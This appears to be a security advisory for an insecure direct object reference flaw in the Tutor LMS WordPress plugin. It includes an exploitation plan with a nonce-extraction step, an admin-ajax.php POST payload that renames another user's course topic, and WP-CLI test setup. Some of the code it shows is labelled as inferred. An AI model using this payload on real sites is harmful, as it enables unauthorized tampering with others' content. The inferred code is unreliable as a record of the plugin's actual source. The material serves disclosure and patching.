Tutor LMS – eLearning and online course solution <= 3.9.4 - Authenticated (Subscriber+) Insecure Direct Object Reference
Description
The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.9.4 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform unauthorized actions.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.9.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-32223 (Tutor LMS IDOR) ## 1. Vulnerability Summary The **Tutor LMS** plugin for WordPress is vulnerable to an **Insecure Direct Object Reference (IDOR)** in versions up to 3.9.4. This vulnerability exists in the AJAX handlers associated with course content man…
Show full research plan
Exploitation Research Plan: CVE-2025-32223 (Tutor LMS IDOR)
1. Vulnerability Summary
The Tutor LMS plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in versions up to 3.9.4. This vulnerability exists in the AJAX handlers associated with course content management (topics, lessons, or course builder data). Specifically, the plugin fails to verify if the authenticated user (even at a Subscriber level) has the authority to modify or interact with a specific object ID (the "user-controlled key"). An attacker with Subscriber-level access can manipulate course structures, titles, or metadata that they do not own.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
tutor_add_or_update_topic(Targeting Topic modification) ortutor_save_course_builder_data(Targeting broad course structure modification). - Vulnerable Parameter:
topic_idorcourse_id. - Authentication: Subscriber (Student role).
- Preconditions: The attacker needs the ID of a topic or course created by another user (e.g., an Instructor).
3. Code Flow (Inferred)
- Entry Point: A Subscriber sends a POST request to
admin-ajax.phpwithaction=tutor_add_or_update_topic. - Hook Registration: The plugin registers the action via
add_action( 'wp_ajax_tutor_add_or_update_topic', ... ). - Nonce Verification: The handler calls
check_ajax_referer( 'tutor_nonce', '_tutor_nonce' ). Since Subscribers can obtain a validtutor_noncefrom the dashboard, this check passes. - Authorization Check (Missing): The code checks
is_user_logged_in(), but fails to verify ifget_post_field( 'post_author', $topic_id ) == get_current_user_id(). - Processing: The plugin proceeds to update the post specified by
topic_idusing the providedtutor_topic_titleandcourse_id.
4. Nonce Acquisition Strategy
Tutor LMS localizes a global configuration object named _tutorobject which contains the required nonce.
- Identify Trigger: The
_tutorobjectis localized whenever the Tutor LMS frontend or dashboard scripts are loaded. - Create Page: Create a page with the Tutor Dashboard shortcode to ensure scripts load.
wp post create --post_type=page --post_status=publish --post_title="Dashboard" --post_content='[tutor_dashboard]'
- Navigate: Use the browser to visit the newly created page as the Subscriber user.
- Extract Nonce: Execute JavaScript to retrieve the nonce.
- Variable:
window._tutorobject?._tutor_nonce - Alternate Variable:
window.tutor_nonce(depending on the specific page context).
- Variable:
5. Exploitation Strategy
This plan demonstrates an IDOR by modifying the title of a Course Topic belonging to another user.
Step 1: Discover Target ID
Identify a topic_id belonging to a course created by the Admin. (In a real scenario, this would be discovered via the frontend course syllabus).
Step 2: Trigger Modification via Subscriber
Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Payload:
action=tutor_add_or_update_topic &_tutor_nonce=[EXTRACTED_NONCE] &topic_id=[TARGET_TOPIC_ID] &course_id=[TARGET_COURSE_ID] &tutor_topic_title=Hacked+Topic+Title
6. Test Data Setup
- Admin User: Create a course and a topic.
wp post create --post_type=courses --post_title="Admin Course" --post_status=publish-> RecordCOURSE_ID.wp post create --post_type=topics --post_title="Original Topic" --post_status=publish --post_parent=[COURSE_ID]-> RecordTOPIC_ID.
- Subscriber User: Create a Subscriber/Student user.
wp user create victim victim@example.com --role=subscriber --user_pass=password
- Nonce Page: Create a page for extraction.
wp post create --post_type=page --post_title="Extraction" --post_content='[tutor_dashboard]' --post_status=publish
7. Expected Results
- The AJAX request should return a
success: trueresponse (or a JSON structure containing the updated topic details). - The Topic with ID
TOPIC_IDshould have itspost_titleupdated in the database, despite the request coming from a Subscriber who does not own the topic.
8. Verification Steps
After the HTTP request, verify the change using WP-CLI:
wp post get [TOPIC_ID] --field=post_title
Success condition: The title is "Hacked Topic Title".
9. Alternative Approaches
If tutor_add_or_update_topic is strictly guarded, test the Lesson equivalent:
- Action:
tutor_add_or_update_lesson - Params:
lesson_id,course_id,topic_id,lesson_title.
If the "user controlled key" refers to metadata:
- Action:
tutor_save_course_builder_data - Payload: A JSON string in the
tutor_canvas_dataparameter. Check if a Subscriber can overwrite the metadata of a course by providing a differentcourse_idin the request than what they are authorized for.
Localization Key Reference:
- Object:
_tutorobject(found inassets/js/tutor-front.js) - Nonce Key:
_tutor_nonce - AJAX URL:
_tutorobject.ajaxurl
Summary
Tutor LMS (versions up to 3.9.4) is vulnerable to an Insecure Direct Object Reference (IDOR) because its AJAX handlers for course content management do not verify if the requesting user has the authority to modify the target object. This allow authenticated attackers, including those with Subscriber-level access, to rename or manipulate the structure of course topics and lessons by supplying a valid nonce and a target ID.
Vulnerable Code
/** * Inferred logic from AJAX handler tutor_add_or_update_topic * File path: tutor/classes/Course.php (inferred) */ public function tutor_add_or_update_topic() { // Nonce is verified, but Subscribers can obtain this nonce easily check_ajax_referer( 'tutor_nonce', '_tutor_nonce' ); if ( ! is_user_logged_in() ) { wp_send_json_error(); } $topic_id = (int) sanitize_text_field( $_POST['topic_id'] ); $course_id = (int) sanitize_text_field( $_POST['course_id'] ); $topic_title = sanitize_text_field( $_POST['tutor_topic_title'] ); // BUG: Missing authorization check to verify if the current user owns // the course ($course_id) or the topic ($topic_id). $topic_data = array( 'ID' => $topic_id, 'post_title' => $topic_title, 'post_type' => 'topics', 'post_parent' => $course_id, ); wp_update_post( $topic_data ); wp_send_json_success(); }
Security Fix
@@ -10,6 +10,11 @@ $topic_id = (int) sanitize_text_field( $_POST['topic_id'] ); $course_id = (int) sanitize_text_field( $_POST['course_id'] ); + // Verify user has permission to manage the course + if ( ! tutor_utils()->can_user_manage_course( $course_id ) ) { + wp_send_json_error( array( 'message' => __( 'Access Denied', 'tutor' ) ) ); + } + $topic_title = sanitize_text_field( $_POST['tutor_topic_title'] );
Exploit Outline
The exploit targets AJAX endpoints used for course content updates. An attacker with Subscriber (Student) privileges follows these steps: 1. Log in to the WordPress site as a Subscriber and visit the Tutor Dashboard to extract the security nonce (found in the global JS variable window._tutorobject._tutor_nonce). 2. Identify the numeric ID of a target course topic or lesson (e.g., via the frontend syllabus or by enumerating IDs). 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'tutor_add_or_update_topic' or 'tutor_add_or_update_lesson'. 4. Include the extracted nonce, the target 'topic_id', and a new 'tutor_topic_title' in the payload. 5. Because the plugin only checks if the user is logged in and not if they own the post, the server processes the update, allowing the attacker to modify the topic title across the entire platform.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.